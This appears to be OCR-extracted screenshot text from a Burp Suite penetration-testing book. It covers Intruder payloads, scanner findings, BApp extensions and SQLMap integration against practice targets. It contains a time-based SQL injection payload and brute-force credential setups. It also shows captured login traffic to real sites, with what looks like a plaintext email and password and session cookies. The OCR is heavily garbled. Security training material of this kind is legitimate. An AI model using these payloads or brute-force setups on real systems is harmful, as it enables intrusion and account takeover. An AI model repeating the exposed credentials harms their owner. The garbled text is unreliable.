Content Type Converter Yeveveteyr———1 23Jan2017

Copy as Node Reguest Yevrvevery —t 09 Nav 2017

Copy as PowerShell Reque. Vevrvevey —t 31Jan 2018

Copy As Python-Requests Yeverveveie — 23 Nav 2017

| Refresh st | | Manualinstall

ETIETAUT UASED T 1S SCAUSUCAT Ut TTe MLEITaLE JIows yOu 1
tinker with the data sets a little bit, specify If you want full names, initials,
a delimiter between first and last names, etc. The tool will approximate
which name combinations are the most cammon and sort the list
accardingly. The result set is currently limited to the top 200,000 names
to avoid performance issues

® Name Mangler - Given some names and domains it will mangle them
to generate a list of potential usernames that can be dropped inta
Intruder to test for vaid logins

® CelLer - Based on Digininja's comman-line CeWL script for
extracting a wordlist from HTML files, this version warks with a list of
responses directly inside of Burp

® Masher - Given a seed list of words and a password specffication this
tool will generate a fuzzy list of possible passwards. Masher wil start
with cambining wards from the provided list, then append and replace
characters to bulld new passwords

» BasicAuther - Given a list of usernames and a list of passwords it wil
outpLt proper BasicAuth strings that can then be dropped into Intrucer.

Author: Jason Gillam
Version: 1.1.12

Source:

Updated: 20 Jul 2017
Rang Ty

Popularity: —————|

[ nstail |

<
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GRS

Resource.

H

/ Detailed scope configuration

You can configure a more detailed scope configuration using either URL prefixes or advanced matching rules. Note that the URLS to scan must fall within the
defined scope, and wil still be used as the starting point for the crawl.

[ Use advanced scope control

(Lo ) [omeel
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@ Hostname Resolution
@ Add entries here to override your computer's DNS resolution.

Add ;mm

@ Out-of-Scope Requests
(§} This feature can be used to prevent Burp from issuing a@ out-of-scope requests, including those made via the proxy.

([J Drop all out-of-scope requests

@ Use suite scope [defined in Target tab]
O Use custom scope
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Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Proxy [Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options

Target | Positions Options.

@ Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the

Payload set: 1 1) Payload count: 1
Payload type: | Simple list 17} Reauest count: 8

@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

Paste | |"waitfor delay '0:0:30°

@ Payload Processing
You can define rules to perform various processing tasks on each payload before it is used.

Add | [Enabled | Rule
F
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Burp Suite Professional v2.0.17beta - ClientName-WAPT-21022019 - licensed to Packt [single user license]
Burp Project Intruder Repeater Window Help

Useroptions | CodeDx | CSRF |  CSRF TokenTracker | CSurfer

Deserializer

[

Deserialization Scanner

| EsPresso | xssvalidator

Dashboard | Target S | ntuder | Repeater | sequencer |

Decoder

Camparer

Extender

[ Praject options

J Intercept ‘ HTTP history | webSockets history | Optians |

7 Request to http:iftestphp vulnweb com:80 [176.28.50.165]

| Fowars || prop | [interceptison |

Raw | Headers | Hex

Action |

Comment this item

20

GET /showimage.php HTTP/1.1
Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: texthtm, application/xhtmI+xml,application/xml,q=0.9,mage/webp, /*;q=0.8
Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

©) <) 2] (2] [rywe a searchterm

v

0 matches
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> (1 http://json.org

‘@ http:

» [0 ag Add to scope

[ 4 spider this host
> @ ing Actively scan this host
Passively scan this host
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Scan Type

© Crawd and audit
O Craw

URLs to Scan

Define the URLS to scan. Burp will begin crawling from these URLs, and by default will include everything beneath the specified URLS folders.

hitp://192.168.1.69/dvwalv ulnerabilties/sqli/?id=18Submit=Submit

P e
e dfu fre
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I Word compare of #1 and #2 (28 differences)

- [m} X
Length: 3,512 @ Text O Hex  Length: 4,237 @® Text O Hex
</form> I I3
</div> q
</div>

<div class="column prepend-1 span-23 first last">
<h2>| 12>

p

href="/WackoPicko/use

</div>
<div class="column span-24 first last" id="footer" >
<ul>
<li><a href="/WackoPicko/">Home</a> |</li>
<li><a href="/WackoPicko/admin/index php?page=login">Admin</a> |</li>
<li><a href="mailto:contact@wackopicko.com">Contact</a> |</li>
<li><a href="/WackoPicko/tos.php">Terms of Service</a></li>
<>

</div>

[ <div class="column span-24 first last" id="footer" >
<ul>

Key: [Vioiiied| [DEIEtEd| Added

linsa hraf="NAacknDickasHamasias |-/

[J sync views
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Burp Project Intruder Repeater Window Help

Dashboard | Target | Proo | ntuder |  Repeater |  Sequencer | Decoder |  Comparer |  Etender | Projectoptions
Useroptions | CodeDx [ CSRF |  CSRFTokenTracker | CSufer | Deserializer |  Deserialization Scanner | EsPReSSO |  xssvalidator co2

[ samapper | Laudanum [ user Generator | Name Mangier | cewter | masner | Basicautner | isc. | Anout |

$QLMap Command

K3CK3MI7JEMRM/KrjWSED T HUINLELT EKDABPSZel+iwHF JR 1Xhn8e7c+70sKThi6rGPRRANK0SCXNnaMXkUDPKNuW-+h08ZeyOe HDNX02ZseZBnadSrugg==;dhl_cookie_consent=shown' ~ Auto Run
[ Run |

Extra SQLMap Pararns (comng |
Request

Basic | Heaters |
URL ttp: /A il com:0/envexpressitracking htmi
POST Data (U include
Cookies: fRM/KkriwseD 1tUINLELr 1 EKbAGPSzel+/owHF JR 1Xhn8e 7c+7]0sK T hi6rGPRRANfKosCXnaMXkuDPKNUW-+ho8ZeyOe +DNX02ZseZBnadsrugg==,dhl_cookie_consent=shown ¥ Include|
Options

[ Detection | Techniques [ injection | Enumeration | Generaimisc. | connection

Testable Parameters ‘}Avvas,:mssrerpam,tasK:emer,task:emenans,uem1zzamezaaaaaip ar_expandablelink_insic

Skip Parameters
Prefic
Suffix
DEMS

o0s:
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Issue activity @

Y Filter  High ~ Medium = Low ~ Info Certain ~ Firm  Tentative P | search.

#  v[Task |Time | Action [Issue type [ Host

19 3 16:13:33 16 Feb 2019, Issue found i Input retumed in response (reflected) hitp://192.168.1.66.
18 3 16:13:33 16 Feb 2019 Issue found @ Extemal service interaction (HTTP) hitp://192.168.1.66.
17 3 16:13:33 16 Feb 2019 Issue found @ Extemnal service interaction (DNS) http://192.168.1.66
16 3 16:13:33 16 Feb 2019 Evidence added: C... | XML extemnal entity injection hitp://192.168.1.66.
15 3 16:13:18 16 Feb 2019, Issue found i Input retured in response (reflected) hitp://192.168.1.66.
14 3 16:13:17 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66.
13 3 16:13:14 16 Feb 2019 Issue found @ Cross-site scripting (reflected) hitp://192.168.1.66.
12 3 16:13:14 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66.
1 3 16:13:12 16 Feb 2019 Issue found 1 XML entity expansion hitp://192.168.1.66.
10 3 16:13:12 16 Feb 2019 Issue found 1 XML external entity injection hitp://192.168.1.66.
9 3 16:13:12 16 Feb 2019 Issue found @ Out-of-band resource load (HTTP) http://192.168.1.66
8 3 16:13:12 16 Feb 2019 Issue found @ Cross-site scripting (reflected) hitp://192.168.1.66.
7 3 16:13:12 16 Feb 2019 Issue found @ Cross-site scripting (reflected) hitp://192.168.1.66.
6 3 16:13:12 16 Feb 2019 Issue found i Input retumed in response (reflected) hitp://192.168.1.66.
5 3 16:13:02 16 Feb 2019 Issue found i Email addresses disclosed http://192.168.1.66
4 3 16:13:02 16 Feb 2019 Issue found i Cross-domain Referer leakage http://192.168.1.66
3 3 16:13:02 16 Feb 2019 Issue found i Frameable response (potential Clickjacking) hitp://192.168.1.66.
2 3 16:13:01 16 Feb 2019 Issue found i Browser cross-site scripting flter disabled hitp://192.168.1.66.
1 3 16:13:01 16 Feb 2019 Issue found @) Unencrypted communications hitp://192.168.1.66.





OEBPS/Images/80f192be-9241-40e2-8350-01e1fc47c26d.png
Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | CO2

Site map | Scope | Issue definitions

‘ Filter: Hiding not found items; hiding CSS, image and general binary content: hiding 4xx responses: hiding empty folders

> o http//192.168.166
> 1 hitp:/detectportal irefox com

(Y]
» [ AJAX
> [ Flash
» [ Mod_Rewrite_Shop
» 4@ arists.php
[ cart.php
[ categories.php
[ crossdomain xml
[ disclaimer.php [N
> {i guestbook php
> [ hop
=
[ index php
» {3 listproducts.php
[ login.php
[ togout.php
» & product.php
> {i search.php
» [ secured
[ showimage.php
[ signup.php
» 4@ userinfo.php

Contents
Host [Method | URL [Params | Status &[Length  |[MIMEtype  |Tit
hitp/ftestphp.vulnweb.com  GET IAJAX findex.php
hitp/ftestphp.vulnweb.com  GET Mod_Rewiite_Shop/ 200 1159 HTML
hitp/ftestphp.vulnweb.com  GET Jartists.php 200 4646 HTML
hitp/ftestphp.vulnweb.com  GET Jartsts.php?artist=1 v o 5569 HTML
hitp/ftestphp.vulnweb.com  GET Jattists. php?artist=2 v oo 5511 HTML
hitp/ftestphp.vulnweb.com  GET Jattists. php?artist=3 v o 5511 HTML
hitp/ftestphp.vulnweb.com  GET Jeart php 200 4225 HTML
hitp/ftestphp.vulnweb.com  GET Jcategories.php 200 5433 HTML
hitp/ftestphp.vulnweb.com  GET Jerossdomain.xm 200 454 xmL
hitp/ftestphp.vulnweb.com  GET Idisclaimer.php 200 4852 HTML
o
Request | Response
Raw | Headers | Hex

GET / ErTR/l.1 T
Host: ctestphp.vulnweb.com
Accept-Encoding: gzip, deflate
Accept: */%
Accept-Language K
Usez-Agent: Moz (Windows NT 10.0; Win64; x64) AppleWebXit/537.36 (RATML, like Gecko)
Chrome/§9.0.3457.100 Safari/537.36
Connection: close
Cache-Control: max-age=o

L]
@ <] *]| 2] vpeasearchtem 0 matches
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Burp Suite Professional v2.0.1 beta - ClientName-VAPT-21022019 - licensed to Packt [single user license] - o x

Burp Project Intruder Repeater Window Help

Useroptions | CodeDx | CSRF | CSRF TokenTracker | CSurfer | Desenialier Deserialization Scanner EsPReSSO ¥ssvalidator
Dashooard | Target Progy | intruer Repeater | Sequencer |  Devater |  Comparer |  Exender | Projectoptions
password| @ Text O vex ()
Decodeas.. v
Encodeas..  |v)
Hash ]
| smartdecode |
COFzZEamvma= © Text O Hex
Decodeas.. v
Encodeas..  |v)
Hash ]
| smartdecode |
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B! Add payload processing rule X

® Enter the details of the payload processing rule.

Add prefix
Add suffix

Match/replace
Substring
Reverse substring
Modify case
Encode
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@ Payload Positions

Configure the positians where payloads will be inserted inta the base request. The attack type determines the way in which payloads are assigned to payload positions - see
help for full details

Attack type: [ Cluster b 7
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&) Add prefix for in-scope URLs.

@ ‘Specify a prefix for URLS you want to match.

Prefix: | https://example.com/path

Paste URL B
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=8 % |

@ Application Login
‘Specify the account credentials that should be submitted to any login functions. The crawler will use these to discover authenticated content behind login
functions.

L [usamne (o)

| Edr |

| Delete |

Selectfrom library | | Savetolibary
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20ST /catalog/search HTTR/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

Quer;
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Dashboard | Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User optians
] Y P o P ject apt pt

Tasks CIEIT) (DS,  Issueactivity

Y Fiter  Running  Paused  Finished Y Fiter  High  Medium  Low  Info Certain  Firm D [search,
S v[Task [T Act [
1. Live passive crawl from Proxy (al traffic) @SE | Task | Time |Acton | tssue type
616 2 13:25:03 22 Fel 2019 lssue found 7 Cross-site scripting (DOM-based)
GadlinessdadltemliseinisameregpiieliensladoediolSelmap) w7 5 17:30:29 21 Feb 2019 | Issue found ? Crass-site scripting (DOM-based)

1134 respanses pracessed

Capturing (
0 respanses gueved

2. Live audit from Proxy (all traffic) WS
Audit checks - passive ssies@ @ @

capuring (@ 15 requests (0 errars)
View details )

5. Live audit from Proxy (al traffic) WS
Audit checks - passive ssies@ @ 2@

capung @ 52 requests (0 errars) L -
View detalls 2 |I¥)[‘agvisory | Request | Response | static analysis |

Eventlog (OF,

7 Fiter Info D [searcn ? Cross-site scripting (DOM-based)
.
Time ¥ Type [Source | Message
10:48:15 23 Feb 2019 Error Prowy [407] The client failed to neg 'Ss“emy ﬁl’::s's"e seripting (DOM-based)
104544 23 Feb 2019 Error suite [54] Timeout intransmission| | Seven KR
10.34:44 23 Feb 2019 Error Proty [2) Timeout in communicatior | ;ocy Pitpssiedn.sstatic.net
10.24:53 23 Feb 2019 Error Proty 18] Software caused connect | patn situil-anon.enjs
13224222 Feb 2019 Error Task4 Task paused due to unrecovt
Issue detail

The application may be vulnerable to DOM-based cross-site scripting. Data is read from
window.location.hash and passed o $()

Note: The exploitability of this issue might depend on the specific version of jQuery that is being used
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@ FoxyProxy

v Use proxy Burp for all URLS (ignore pattefps)
Use proxy Socks Tunnel for all URLS (ignore patterns)

Use proxy FreeBurpProxy for all URLS (ignore patterns)
Use proxy Madhu's Burp for all URLS (ignore patterns)

Use proxy 127.0.0.1:9150 for all URLS (ignore patterns)
Use proxy Burp When Tomcat for all URLS (ignore patterns)
Use proxy Default for all URLS (ignore patterns)

Turn Off FoxyProxy (Use Firefox Settings)

Log
What's My IP?
Options
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Reguest | Response

Raw | Params | Headers | Hex

POST /session/replicate/1551073283525-57qge06mhihutpnrff0331ntn88hvn20 HTTP/A.1
Host: auth.mercadopago.com.mx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: texthtm, application/xhtmI+xml,application/xml,q=0.9,mage/webp, /*;q=0.8
Accept-Language: en-US en;q=05
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Comparer

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to
perform.

Q

Select item 1:

*

HTTP/1.1 200 OKDate: Sat, 26 Jan 2019 06:54:29 GMTServ...

10

Select item 2:

# Lengn Data
HTTP/1.1 200 OKDate: Sat, 26 Jan 2019 06:53:21 GMTServ...

Compare
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(@ Payload Sets | start attack |

“You can define one or more payiad sets. The number of payload sets depends on the attack type defined in the Pasitions tab.
Various payload types are available for each payload set, and each payload type can be customized in different ways

Payload set [ 1 Iv]  Payioad count 0
Payload type: [ Numbers ] Request count 0

(9 Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified farmat

Nurnber range

Type: O sequential @ Random
From 0

To: 65535

Step

How marny:

Nurmber format

Base: @® pecimal O Hex

Min integer digits
MaxInteger digits
Min fraction digits

Max fraction digits:
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* gets a stream variable

* @param string Svariable the strean of the variable
* @throws SmartyException

* @return mixed the value of the stream variable

.
public function getStreanvariable(svariable)
1
s_result
sfp = fopen(svariable, 'r+');
if (stp) {
while (1feof(sfp) & (scurrent_line = fgets(sfp)) 1= false) {
s_result .= scurrent_Lin
)
felose(sfp);
return $_result;
¥

Ssmarty = isset(sthis->smarty) ? $this->smarty : Sthis;
if (ssmarty-error_unassigned) {

throw new SmartyException('Undefined stream variable *' . svariable . '
¥ else {

return null;

¥
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B! Schedule task

D Please select the file you would like to save to.

Selectfile .. | D:\projects\Example-VAPT-16012018
™ In-scope items only
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B2 Burp Suite Professional v2.0.17beta - Clienthame-VAPT-21022019 - licensed to Packt [single user license] - X
Burp Project Intruder Repeater Window Help

CodeDx | CSRF |  CSRF TokenTracker | CSufer | Desenialzer |  Deserializaion Scanner | EsPReSSO |  xssvalidator NMAP Parser

Dashboard Target Pro Intruder Repeater Sequencer Decoder Comparer Extender Praject options User optians
] Y P o P ject apt pt

nt=icept [ HTTP histary | websockets history | Options |

Filter: Hiding CSS, image and general hinary content @)

# 4| Host | Method | URL | Params | Edited | Status | Length | MIME type | Extensi... | Title | comr
4488 httpsffaccountrecavery mercadolibre commx  GET  /preconnect_pixel gif 404 6743 HTML ot MercadoLibre
4493 https:/foam nr-data net GET  /1/300992299172=426493448v=1 v 200 280 script
4494 https:fwww mercadoliore.com GET fmsimimigzibackgraund/session/a v 200 622 script

4496  hitps:#auth.mercadolibre com.mx GET  /sessionreplicator/155107328353 v 200 4427 HTML MercadoLibre
=K

Reguest | Response

Raw | Params | Headers | Hex

POST

fims/mimAigz/mslioginH4sIAAAAAAAEAZWNQQBDMAWE _-IzgnuO_UikBGNR7SZyJEKF-HtNpR53vDs-gcuad9E-ISAAHZVzygY DVEZbikrMsx-EHbVs9I9yV1BRyEGbhPMWITQ_yEe3akFu L\
5CXcbYsLI-7s98vZWixsZrWFaeq9j0KacCoenOpiKLKMCE 1uKRZNMX0gmC60_UFsUvzfL AMAAA/enter-pass HTTP/A.1

Host: www.mercadolibre.com

User-Agent: Mozilla’5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtmk+xml,application/xml;q=0.9,image/webp, /*;q=0.8

Accept-Language: en-US,enq=0.5

Accept-Encoding: gzip, deflate

Referer

https:/fwww.mercadolibre.com/jms/mim/igz/imsliogin/H4sIAAAAAAAEAZWNQQBDMAWE _-IzgnuO_UikBgNR7SZyJEKF-HtNpRS3vDs-gcuad9E-ISAAHZVzygY DVEZbikiMsx-EHbVS9I9yV1
BRyEgbhPMWITQ_yEe3akFuSCXchYsLI-7s98vZWjxsZrWFaeq9j0KacCocnOpiKLKMCE 1uKRZNMX0gmC0_UFsUvZiLAAAAA/enter-pass

Content-Type: application/x-www-form-urlencoded

Content-Length: 665

Connection: close

Cookie: ms|_tx=LGNKAF4qoT.Jq0PMFHCMTdoY6LWCBCMN; _mi_ci=1920728709.1551072248; _l2id=9de61e3f-7158-494e-a82-c64ccB56a7ad-n;
dsid=21bd51a7-682-471b-87eb-d4e30867af5a- 1551072431351, flid=X{2te cSJi2KFro6XaAbdCCN5.1cQ2T3-1651073161458

Upgrade-Insecure-Requests: 1

user_id=packt pratiks%40gmail com&password=Pratik1812&action=complete&dps=armor.99e57031533e0e4db4139d6e8432a55255 1abde3e1280649ec5679120cc211b0B54dd4967a93c 886
14818996017c3108bd460344dabdc1c9451212d1d00bd7e9e051926b568a53869 1a7a3f3dd1.65c016524ce2adb0341856039bc41719&rbms =L GrKAF4qoTJqOPmF &getkn=03AOLTBLR 14tKLdd
CrpbvIBQNhQBGLE_WIfh36EXHMsukAvVDMdrobmyd3npDBw6-mLHio1pZrC 1uFnC2-quhutp7ysaohJ96xMkqdvQkUvKaISARX 3yaPP7BdjAhjzFn7ugtV_3JkyAbuiwmOMFAoFqMun__KEVL
nk8xuZzpKpkpild4vrOXsdQzSJ3NMAO_U_93Q6_Wv50t_s57jPIGCTnIHG3GRMKqdwl_IKeh0VSj5y9X95qAMRDKYVOG8IdkGP7HwW2LSDmNECT2z3-6{QukgDDLOMCI7KIB20xVIFAUVF F

9BKDCF5C7gwiHQgM7kQI7ZEG5{0gKREZ2CVEPH1t7QA3-vB_ag8kstrs=

@ (<) +] (2] [rype a searon tem 0 matches
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- 5 OrangeHRM Py + - o

<« c @ © 192.168.100.101/0rangehrm/index.php [N 4

RM

OF HR MANAGEMENT

7
Qrange

| H Admin | PIM | ‘Leave | Time | Benefits | Recruitment | Reports | Bug Tracker

and development of your

OrangeHRM comes as a comprehensive solution for the efficient management
and development of your Human Resource. It wil assist you in the complex
and strategic process of managing this crucil resource of your enterprise
Based on modular architecture, it faciitates a vast range of HR activities, with
features that reflect the main HR management activities. It comes as a web-
enabled appication and considering the avalable fiexbity, OrangeHRM is a
perfect platform for reengineering your HR processes and achieving a new level
of HR Management.
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Request
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CSRF token 1 received
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Request

Cookie submitted
CSRF token 1 submitted
CSRF token 2 received
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Request

Cookie submitted
CSRF token 2 submitted
CSRF token 3 received

©
Request

Cookie submitted
CSRF token 3 submitted
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& Configure hotkeys

2

®

Hotkeys

These settings let you configure hotkeys for common actions. These include item-specific actions
such as "Send to Repeater”, global actions such as "Switch to Proxy”, and in-editor actions such as
"Cut" and "Undo".

To change an action's hotkey, select it in the table and type the hotkey for that action. To clear an
existing hotkey, press delete or escape. All hotkeys must use the Control key, and may also use Shift
or other available modifiers. Note that on some Windows installations the Control+Alt combination is
treated by the OS as equivalent to AtGr, and so may result in typed characters appearing when
pressed in text fields.

Action | Hotkey |
Forward intercepted Proxy request and intercept the response A
Drop intercepted Proxy message

Toggle Proxy interception Ctri+T

Go back in Repeater history

Go forward in Repeater history

Start Intruder attack

Switch to Target Ctri+Shift+T
Switch to Proxy Ctri+Shift+P
Switch to Spider

Switch to Scanner Ctri+Shift+S
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Burp Project Intruder Repeater Window Help

(oastmsa vzl oo JgggRggl s onsna o ompecor e st lssiepnel
Gl
[Tage [ postons | rvisss | owors |

A
@ Payload Sets [ startattack | ™

You can define one or more paylosd sets. The number of payload sets depends on the attack type defined inthe Postions tah. Various payloacitypes are availabi for sach payload set, and each payload type can be
customized n diferent ways.

Payload set |2 v)  Paylosd count: 13
Payloadtype: [ Sinple st ) Reauestcout 0

@ Payload Options [Simple list]

This payioad type lets you configure a siple st of stings thet are used as paylosds.

[Cute | [ T
F

[tom | woor
it

(Romove ) | mvnestoae >
o

o | |50

{ J fortinet

s v

(ada ] [nteranew item

| aid from st v

@ Payload Processing

You can define rules o perform various processing tasks on each payload hefore s used

[ ada | [Enavea  [Rue

(e |
[_Remove | >
e

[ oown |
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<« c @ @ & 192.168.100.101/orangehrm/login.php
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7
QrangeHrm

NEw L

comprehensive solution for the efficient management
Human Resource

Orange HRM comes as a comprehensive solution for the efficent
management and development of your Human Resource. It wl assist you in
the complex and strategic process of managing this crucil resource of your
enterprise. Based on modular architecture, it faciltates a vast range of HR
activities, with features that reflect the main HR management activities. Tt
comes as a web-enabled appication and considering the avaiable flexbity,
OrangeHRM is a perfect platform for reengineering your HR processes and
achieving a new level of HR Management.

OrangeHRM ver 2.4.2 © OrangeHRM Inc. 2005 - 2008 All rights reserved
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atiack Save Columns

Resuts | Target | Postions | Paylosds | Options

Fiter: Showing al tems @
Recuest 4 | Payloact! | Payioat2 [Status  [Ewor [ Tmeot [Lengh | comment

[ 20 5] O e I
1 acinin acinin 200 o o e
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Target Posmmsﬁomﬂms

(@ Payload Sets Start attack

‘You can define one or more payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set, and each payload type can be customized in

different ways.
Payload set: |1 B Payload count: 27,771
Payload type: | Simple list Request count: 55,542

@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

aalil »
[ Remove | 20l

Add Enter a new item
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Burp Suite Professional v2.0.17bets - Clienthlame-VAPT-21022019 - licensed to Packt [single user license] - o X

Burp Project Intruder Repeater Window Help

Dashionara | Target | Prowy | intruder | Repeater | sequencer | Decoder | comparer | Extender | Project options | User options | Code Dx | €SRF | CSRF Token Tracker | csurter |

Crosssite Request Forgery (CSRF) Scanner
Canfigure the list of recognised anti-CSRF tokens and other scanner settings

Scanner Sefings

™ Only scan requests which are considered in-scope

(1) Report requests that contain no parameters. This may cause an increase in false positives, but may be required when testing apps with REST-like URLS
Select the HTTP request methads to scan

[J GET W POST M PUT 4 DELETE M PATCH

Arti-CSRF Tokens

| Agg | | Token Match Match Type Case Sensitive
token Literal 8] ]
B9t ey Regex 8]
[ Remove | | OsrtCL7oken Regex 8]
———— | anti((c)sriforgery)(token)? Regex 8]
(_)7RequestverificationToken Regex 8]
ViewStateUserkey Literal o
fargery Literal 8]
nonce Literal o v

Missing Token Checks
ANti-CSRF tokens are generally found in request parameters and in HTML forms contained within the response. It is recommenced that hoth are scanned to ensure all vulnerable requests / forms
are identified.

Passively scan and report when anti-CSRF tokens are not detected in

™ Request Parameters & Headers

¥ Response Forms

Detected Token Checks.

Even if the application uses anti-CSRF takens, they may not have been implemented carrectly or securely. For example, a request may stil be successful f the anti-CSRF token Is madified or
remaved. It is important to perform manal tests on these takens far this reason, so knowing when they appear is also important. The following two checks can help with this testing by reporting
instances when anti-CSRF tokens appear.

Passively scan and report when anti-CSRF takens are detected in
() Request Parameters & Headers
() Response Forms
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‘The Collaborator server received a DNS lookup of type A for the domain name

xuvmja48pl58zgdult2n665ey547syimd9sxx burpeollaborator.net

‘The lookup was received from IP address 194.72.9.38 at Mon Oct 12 14:36:15 BT 2015,
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B Intruder attack 3 - o x

Aftack Save Columns

[ Resuts | Target | Posttions | Payioads | options |

Filter: Showing all iterns @
Request | Payload1 | Payinadz |status 4| Emor | Timeout |Length | Comment
128 ZwtaxNtbzo= ZmBydGIuZXQ= 200 (8] O 16775

129 cGFzc3dvemQ6 ZmBydGIuZXQ= 200 ] O 16775

130 aGVshGI3bakOg: ZmIydGIuzxQ= 200 ] 0 16775

131 Y29UdHINC2VUBWES ZmgydGILZXQ= 200 8] O 16775

132 CcEBzc3dPcmQ6 ZmBydGIuZXQ= 200 ] O 16775

133 MTIZNDU2Nzg50: ZmBydGIuZXQ= 200 ] O 16775

135 cmgvelDo= dHB4 200 =] O 1emrs

136 d09PdDo= dHB4 200 =] O 1emrs

137 YWREEWSEPCARY YXRVE]0= oHB4. 200 ] O 16775

134 YWRIEWAS dHB4 200 =] O 1emrs

138 YWRHWILEXNOYWRvCj0= oHB4. 200 ] O 16775

[E1S

Reguest | Response

Raw | Params | Headers | Hex

GET /httpgallery/authentication/default aspx?0.971199385900599 HTTP/1.1
Host: www httpwatch.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtmk+xml,application/xml;q=0.9,image/webp, /*;q=0.8
Accept-Language: en-US,enq=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.httpwatch.com/htipgallery/authentication/

Connection: close

Authorization: Basic dHB40g%3d%3d:YWRtbWIuaXNOYWRvcg%3d%3d

v

@ L] (] [rvpe asearchtem 0 matches

=TT
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%) Client SSL Certificates
@} These settings are configured within user options but can be overridden here for this specific project.

& Override user options

These settings let you configure the client SSL certificates that Burp will use when a destination host requests one. Burp will use the first certificate in the list whose host configuration
‘matches the name of the host being contacted. You can double-click on an item to view the full details of the certificate.

Add J Enabled Host Type Alias Subject Issuer | Key

Uj

ikl






OEBPS/Images/84489aa7-dd9e-45af-a60a-7740e03e0967.png
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Burp Project Intruder Repeater Window Help

Useroptions | CodeDx | CSRF |  CSRF TokenTracker | CSurfer

Deserializer

[

Deserialization Scanner

| Esresso | xssvalidator

Dashboard | Target S | mtuger | Repeater | sequencer |

Decoder

Camparer

Extender | Praject options

J Intercept ‘ HTTP history | webSockets history | Optians |

0 Request to hitps: /v Mttpwatch.com:443 [191.236.16.125]

| Fowars || orop | [interceptison | [ acton |

Raw | Params | Headers | Hex

Comment this item '20)

GET /htipgallery/authentication/authenticatedimage/default aspx HTTP/1.1
Host: www httpwatch.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtmi+xm application/xml;q=0.9,mage/webp,/*;q=0.8
Accept-Language: en-US,eng=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: _ga=GA1.2.697332476.1550909620; _gid=GA1.2.676336342.1550909620; ARRATfinity=7a12659f1b02b1cc5637d9e9039bab53ae8c8d5p929ff97a475517a868a08cac

Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=

v

@ [=<||+][>]]|rvpeasearcnem

0 matches
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http://mutillidae-testing.cxm GET fjavascript’ddsmoothmenu/ddsmoothmenu js

tacti cET £

http:/mutillidae-testing.cx.../ddsmoothmenu/ddsmoothmenu.js

Add to scope
Remove from scope S
Spider from here

oothmenu/jquery.min js
Ery/jquery js
ery/colorbox/jquery.colorbox-min js
Ery/jquery.balloon js
pe=user-info.php
user-account.php
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Q Search

:¢ Get Add-ons

Plugins

© Firefox

aboutaddons w @
Eo 24 ‘ foxyproxy| 0
Name  lastUpdated  Bestmatch ~

Search: My Add-ons @ Available Add-ons
.. FoxyProxy Standard December 22, 2017

@ i xy Install
. FoxyProxy is an advanced proxy managem... ~ More
. FoxyProxy Basic December 22, 2017

@ yrroxy T Install
B FoxyProxy Basic is a simple on/off proxy s... ~ More
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Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy [ intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options

Extensions | BApp Store | APis | Options

BApp Store

The BApp Stare contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilties

Name | nstaled  |Rating | Popularity |Lastupdated | Detail [
BT Gisg RO T WA 2T | CSRF Scanner

BurpelFish e veveve — 21 Nav 2018 r

Burp-hasnh vy L 2BAUGI015  Proexension This extension can be Used to passively scan for CSRF (cross-site request
BurpSmartBuster Yevevedrys — 22 Jan 2018 forgery) ulnerabilties

Bypass WAF Yeteteteds ———+ 29 Mar 2017 To use, Ioad the extension and send items for scanning in the narmal way,
Carbonator Yrtrtevers —1 234an 2017 Pro extension The check for CSRF vulnerabilties wil be run as part of normal passive
Cloud Storage Tester Yeretetrys —+ 05 Oct 2017 Pro extension scanning

CMS Scanner Veievededs ———1 030ct2017  Pro extension

coz Yevrvedety ——1 204u2017 Author: - Adian Hayter

Cade Dx Yevrveveyy — 06Jun 2016 Pro extension Jrersion: Y

Callaborator Everywhere TYededededy —— 21May2018  Proextension Source:

Command Injection Attacker Yevevedeyr———+ 27.Jun2018 Updated: 02 Oct 2017

Commentator Yevrvevevy — 16 Jul 2018

Content Type Canverter Yeiedeieys ———+ 23Jan 2017 Rating: 7777070

Copy as Node Reguest Yevrvevery —t 09 Nav 2017 Popularity: ——————|

Copy as PowerShell Reque. Vevrvevey —t 31Jan 2018

Copy As Python-Requests Yevrdevey — 23 Nav 2017 Install

Cryptojacking Mine Sweeper Vevrveves — 24 Oct 2018 Pro extension

CSP Auditar Yeveveveyr — 15 Aug 2017

CSP-Bypass Yevrveveyr —1 24 Jan 2017 Pro extension

CSRF Scanner Yeieiede 1 020ct2017  Pro extension

CSRF Token Tracker Yoiedededs —— 14Fen2017

Csurfer Yeveveveis —4 10 Nov 2015

Custom Logger Yevevevevr —1 01Jul 2014

Custom Parameter Handler Yeveveveyy — 31.0u12017

CustomDeserializer Yeveveveyr — 06 Feb 2017

